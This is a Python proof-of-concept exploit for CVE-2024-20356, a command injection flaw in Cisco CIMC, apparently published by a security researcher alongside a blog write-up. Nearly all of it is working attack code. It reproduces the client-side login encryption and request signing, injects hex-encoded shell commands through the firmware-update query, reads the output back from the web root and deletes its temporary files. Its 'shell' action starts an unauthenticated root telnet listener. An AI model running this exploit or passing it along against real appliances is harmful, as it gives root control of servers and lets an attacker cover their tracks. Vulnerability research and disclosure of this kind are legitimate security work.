#!/usr/bin/python3
"""
Exploit for CVE-2024-20356: Command Injection in Cisco CIMC
Aaron Thacker @ LRQA Nettitude 2024

Full details can be found at https://labs.nettitude.com/blog/cve-2024-20356-jailbreaking-a-cisco-appliance-to-run-doom

This proof-of-concept is for demonstration purposes and should not be used for illegal activities. LRQA Nettitude are not responsible for any damage caused by the use or misuse of this code.

Usage: CVE-2024-20356.py [-h] -t HOST -u USERNAME -p PASSWORD [-a ACTION] [-c CMD] [-v]
options:
  -h, --help            show this help message and exit
  -t HOST, --host HOST  target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)
  -u USERNAME, --username USERNAME
                        Username (default: admin)
  -p PASSWORD, --password PASSWORD
                        Password (default: cisco)
  -a ACTION, --action ACTION
                        Action: test, cmd, shell, dance (default: test)
  -c CMD, --cmd CMD     OS command to run (Default: NONE)
  -v, --verbose         Displays more information about cimc

"""

import Crypto.Random
import Crypto.Cipher
import base64
import hashlib
import hmac
import requests
import urllib3
from Crypto.Cipher import AES
import urllib.parse
import re
import xml.etree.ElementTree as ET
import argparse
import random
import time

# Set to "127.0.0.1:8080" to use a proxy
proxy = None

# derrived from /lib/thirdparty/thirdparty.js
def hashFnv32(a, b):
	b = bytes(b, encoding='ascii')
	e = 40389
	h = a[0:32]
	f = len(h)//4
	for i in range (0, f):
		e = e ^ ord(a[i])
		e = e + (e << 1)
	return hmac.new(bytes(str(e), encoding='ascii'), b, hashlib.sha512).hexdigest()

# derrived from /lib/thirdparty/thirdparty.js
def keyFnv32(a):
	e = 40389
	h = a[0:32]
	f = len(h)//4
	for i in range (0, f):
		e = e ^ ord(a[i])
		e = e + (e << 1)
	e = str(e)
	return e

# derrived from CryptoJS
def derive_key_and_iv(secret):
	salt = Crypto.Random.new().read(8)
	secret = bytes(secret, encoding='ascii')
	keylen = 32
	ivlen = 16
	secret += salt
	k = hashlib.md5(secret).digest()
	w = k 
	while len(w) < (keylen + ivlen):
		k = hashlib.md5(k + secret).digest()
		w += k
	return  w[:keylen], w[keylen:keylen+ivlen], salt

def pad(data):
	BLOCK_SIZE = 16
	return data+(BLOCK_SIZE-len(data)%BLOCK_SIZE)*chr(BLOCK_SIZE-len(data)%BLOCK_SIZE)

# derrived from CryptoJS
def encrypt(username, password):
	secret = str(keyFnv32(username))
	msg = password
	key, iv, salt = derive_key_and_iv(secret)
	aes = Crypto.Cipher.AES.new(key, Crypto.Cipher.AES.MODE_CBC, iv)
	padded_msg = bytes(pad(msg), encoding='ascii')
	encrypted_msg = aes.encrypt(padded_msg)
	return base64.b64encode(b"Salted__" + salt + encrypted_msg)


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def headers():
	print("""
   _____ _____  _____  _____                    
  / ____|_   _|/ ____|/ ____|                   
 | |      | | | (___ | |     _____      ___ __  
 | |      | |  \___ \| |    / _ \ \ /\ / / '_ \ 
 | |____ _| |_ ____) | |___| (_) \ V  V /| | | |
  \_____|_____|_____/ \_____\___/ \_/\_/ |_| |_|
                                                                              
		""")
	print("~ Because every vulnerability needs a cool tool")
	print("~ AThacker @ LRQA Nettitude | v1.0\n")
	print("This proof-of-concept is for demonstration purposes and should not be used for illegal activities.\nLRQA Nettitude are not responsible for any damage caused by the use or misuse of this code.")


def login(target, username, password):
	enc_password = encrypt(username, password)

	req = requests.post(f"https://{target}/data/login",
		headers={'Referer':f'https://{target}/login.html','Accept-Encoding': 'identity'},
		proxies={"https":proxy,"http":proxy},
		verify=False,
		data={"user":username,"password":enc_password}
	)

	root = ET.fromstring(req.content)
	if root.find('authResult').text == '0':
		sidValue = root.find('sidValue').text
		adminUser = True if root.find('adminUser').text == '1' else False
		cookieValue = re.search('sessionCookie=([a-z0-9]{32});', req.headers['Set-Cookie']).group(1)
		print(f"sidValue: {sidValue[0:8]}XXXXXXXXXXXXXXXXXXXXXXXX")
		print(f"cookieValue: {cookieValue[0:8]}XXXXXXXXXXXXXXXXXXXXXXXX")
		print(f"Admin user: {adminUser}")
		return (True, cookieValue, sidValue, adminUser)
	else:
		return (False, None, None, None)

def logout(target, sidValue):
	print(f"Logging out: {sidValue[0:8]}XXXXXXXXXXXXXXXXXXXXXXXX")
	req = requests.post(f"https://{target}/data/logout",
		headers={'Referer':f'https://{target}/index.html','Accept-Encoding': 'identity'},
		proxies={"https":proxy,"http":proxy},
		verify=False,
		data={"sessionID":sidValue}
	)
	return None

def query(target, cookieValue, sidValue, input_cmd):
	res = query_raw(target, cookieValue, sidValue, input_cmd)
	return ET.fromstring(res.content)

def query_raw(target, cookieValue, sidValue, input_cmd):
	cmd = urllib.parse.quote(input_cmd)
	res = requests.post(f"https://{target}/data",
		headers={'Referer':f'https://{target}/index.html','Cookie':f'sessionCookie={cookieValue}','Cspg_var':hashFnv32(sidValue	,input_cmd),'Accept-Encoding': 'identity'},
		proxies={"https":proxy,"http":proxy},
		verify=False,
		data={"sessionID":sidValue,"queryString":cmd}
	)
	return res

def get_host_info(target, lreq):
	resp = query(target, lreq[1], lreq[2], 'get=sessionData')
	if resp.find("status").text == "ok":
		sessionData = resp.find("sessionData")
		print(f'cimcIp: {resp.find("cimcIp").text}')
		print(f'lzt: {sessionData.find("lzt").text}')
		print(f'sysPlatformId: {sessionData.find("sysPlatformId").text}')
		print(f'sessionId: {sessionData.find("sessionId").text}')
		print(f'canClearLogs: {sessionData.find("canClearLogs").text}')
		print(f'canAccessKvm: {sessionData.find("canAccessKvm").text}')
		print(f'canExecServerControl: {sessionData.find("canExecServerControl").text}')
		print(f'canConfig: {sessionData.find("canConfig").text}')
		print(f'intersightMode: {sessionData.find("intersightMode").text}')
		return resp
	else:
		print(resp.find("status").text)
		raise Exception("sessionData returned weird results")
	
# v0.2 exec code
def exec(target, lreq, command):
	out_file = '/usr/local/www/in.html'
	tmp_cmd_file = '/tmp/cmd.sh'
	stager_cmd = f'sh < {tmp_cmd_file} > {out_file} 2>&1 || true'
	stager_cmd_file = '/tmp/stager.sh'
	MAX_COMMAND_LENGTH = 100
	command_split = [command[i:i+MAX_COMMAND_LENGTH] for i in range(0, len(command), MAX_COMMAND_LENGTH)]

	query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$( >{tmp_cmd_file})")')
	for i_cmd in command_split:
		encoded_command = "\\\\x"+"\\\\x".join("{:02x}".format(ord(s)) for s in i_cmd)
		query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$(echo -n -e \"{encoded_command}\" >> {tmp_cmd_file})")') 
	
	encoded_command = "\\\\x"+"\\\\x".join("{:02x}".format(ord(s)) for s in stager_cmd)
	query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$(echo -n -e \"{encoded_command}\" > {stager_cmd_file})")')

	query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$(sh {stager_cmd_file})")')

	web_file = out_file.split('/')[-1:][0]
	res = requests.get(f"https://{target}/{web_file}",
		headers={'Referer':f'https://{target}/index.html','Accept-Encoding': 'identity'},
		proxies={"https":proxy,"http":proxy},
		verify=False,
		stream=True
	)
	if res.status_code == 200:
		query_raw(target, lreq[1], lreq[2], f'set=expRemoteFwUpdate("1", "http","","$(rm -f {tmp_cmd_file} {stager_cmd_file} {out_file})")')
		out = res.raw.read()
		return str(out, encoding='utf-8')
	else:
		return None

if __name__ == "__main__":
	parser = argparse.ArgumentParser()
	parser.add_argument("-t","--host", type=str, help="Target hostname or IP address (format 10.0.0.1 or 10.0.0.2:1337)", required=True)
	parser.add_argument("-u","--username", type=str,  default="admin", help="Username (default: admin)", required=True)
	parser.add_argument("-p","--password", type=str,  default="cisco", help="Password (default: cisco)", required=True)
	parser.add_argument("-a","--action", type=str, default="test", help="Action: test, cmd, shell, dance💡 (default: test)")
	parser.add_argument("-c","--cmd", type=str, default="", help="OS command to run (Default: NONE)")
	parser.add_argument("-v","--verbose", default=False, action='store_true', help="Displays more information about cimc")
	args = parser.parse_args()

	if not args.cmd == "":
		args.action = "cmd"

	headers()
	print("")
	print(f"Attempting login as: {args.username}\n")
	lreq = login(args.host, args.username, args.password)
	if lreq[0]:
		print("Login: successful\n")
		if args.verbose:
			print("Gathering CIMC info:")
			get_host_info(args.host,lreq)
			print("")

		if args.action == "test":
			print("Action: test")
			test_num = random.randint(1111,9999)
			test_results = exec(args.host, lreq, f'echo -n {str(test_num)}')

			if test_results:
				if (str(test_num) in str(test_results)):
					print(f"🟩 Success! {test_num} given, {str(test_results)} returned")

				else:
					print("🟥 Could not exploit the vulnerability! Response file exists but output does not match")

			else:
				print("🟥 Could not exploit the vulnerability! Could not see output on web server")

		elif args.action == "cmd":
			print(f"Action: cmd")
			print(f"CIMC:/$ {args.cmd}")
			out = exec(args.host, lreq, args.cmd)
			if out:
				print(out)
			else:
				print("Something went wrong")

		elif args.action == "shell":
			print(f"Action: shell")
			print("Warning: This will open up port 23 on the Cisco CIMC interface connected to the network.\nThe shell will provide root access with NO authentication.")
			c = input("Type 'y' to continue: ")
			if c.lower() == "y" or c.lower() == "yes":
				print(f"CIMC:/$ busybox telnetd -l /bin/sh -p 23\n")
				exec(args.host, lreq, "busybox telnetd -l /bin/sh -p 23")
				print(f"Please run: telnet {args.host}")
			else:
				print("Confirmation not provided")

		elif args.action == "dance":
			exec(args.host, lreq, "sh -c 'for i in 1 2 3 4 5 6 7 8 9 10; do /etc/plumas1/etc/scripts/LED.sh ON && sleep 0.1 && /etc/plumas1/etc/scripts/LED.sh OFF && sleep 0.1; done'") # only works with exec v0.2
			
			print("\\^o^/", end="\r")
			for i in range(0, 8):
				print("\\^o^/", end="\r")
				time.sleep(0.5)
				print("/^o^\\", end="\r")
				time.sleep(0.5)
			print("/^o^\\")
			
		else:
			print("Action: unknown")

		logout(args.host, lreq[2])
	else:
		print("Login: unsuccessful")